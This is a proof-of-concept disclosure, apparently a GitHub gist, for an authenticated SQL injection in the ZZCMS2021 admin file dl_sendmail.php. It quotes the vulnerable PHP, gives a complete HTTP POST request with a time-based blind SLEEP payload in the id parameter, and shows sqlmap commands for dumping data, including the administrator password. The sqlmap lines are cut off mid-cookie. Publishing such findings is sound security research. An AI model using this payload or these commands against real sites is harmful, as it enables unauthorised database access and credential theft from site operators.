aaaahuia / ZZCMS2021 sqlinject(4).md Secret

Created last year

ZZCMS2021 sqlinject(4)

ZZCMS2021 sqlinject(4).md

ZZCMS2021_sqlinject_4

PoC by BaizeSec_ahui

ZZCMS the lastest version download page :

http://www.zzcms.net/about/6.htm

zip installer:

http://www.zzcms.net/download/zzcms2021.zip

Environmental requirements

PHP version > = 4.3.0

Mysql version> =4.0.0

vulnerability code:

in file `admin/dl_sendmail.php`

```
<?php
include("admin.php");
...
#line 17-38
include("../inc/mail_class.php");
checkadminisdo("dl");
$id="";
if(!empty($_POST['id'])){
    for($i=0; $i<count($_POST['id']);$i++){
    $ids=$_POST['id'][$i];
        $ids=explode("|",$ids);
        //$id=$ids[0];
        $id=$id.($ids[0].',');
        }
        $id=substr($id,0,strlen($id)-1);//去除最后面的","
}else{
echo "<script lanage='javascript'>alert('操作失败！至少要选中一条信息。');window.opener=null;window.open('','_self');windov
exit;
}

if (strpos($id,",")>0){
$sql="select * from zzcms_dl where saver<>'' and id in (". $id .")";//没有接收人的，非留言类代理不用发提示邮件。
}else{
$sql="select * from zzcms_dl where saver<>'' and id='".$id."'";
}
$rs=query($sql);
```

Before you exploit this vulnerability, you need to find a way to obtain the permission of background administrator

After you obtain the administrator user rights and log in, visit the following link to exploit the vulnerability:

http://yourhost/admin/dl_sendmail.php

POC:

```
POST /admin/dl_sendmail.php HTTP/1.1
Host: your host
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: http://zzcms.com
Connection: close
Referer: http://zzcms.com/admin/dl_sendmail.php
Cookie: askbigclassid=0; asksmallclassid=0;
__tins__713776=%7B%22sid%22%3A%201629992898141%2C%20%22vd%22%3A%206%2C%20%22expires%22%3A%201629995107025%7D;
```

```
__51cke__=; __51laig__=20; bdshare_firstime=1629951198125; PHPSESSID=a5tlfr6q1ete0aaa6dq5pppi43; admin=admin;
pass=21232f297a57a5a743894a0e4a801fc3; UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6
Upgrade-Insecure-Requests: 1

id[0]=0&id[1]=1 AND (SELECT 5584 FROM (SELECT(SLEEP(5)))a)
```

sleep(9):

Screenshot link:http://39.101.130.53/image-20210827014436700.png

You can also use sqlmap to verify this vulnerability. The specific usage is as follows:

Note: please replace cookies and URLs with your own and make sure they are correct

```
python sqlmap.py -u "http://zzcms.com/admin/dl_sendmail.php" --cookie="admin=admin; pass=21232f297a57a5a743894a0e4a801fc
```

Screenshot link:http://39.101.130.53/image-20210827014910309.png

After waiting for a while, you can get the information you query, or you can change the statement. For example, the following statement is used to query the password of the administrator user:

```
python sqlmap.py -u "http://zzcms.com/admin/dl_sendmail.php" --cookie="admin=admin; pass=21232f297a57a5a743894a0e4a801fc
```

Screenshot link:http://39.101.130.53/image-20210827015328234.png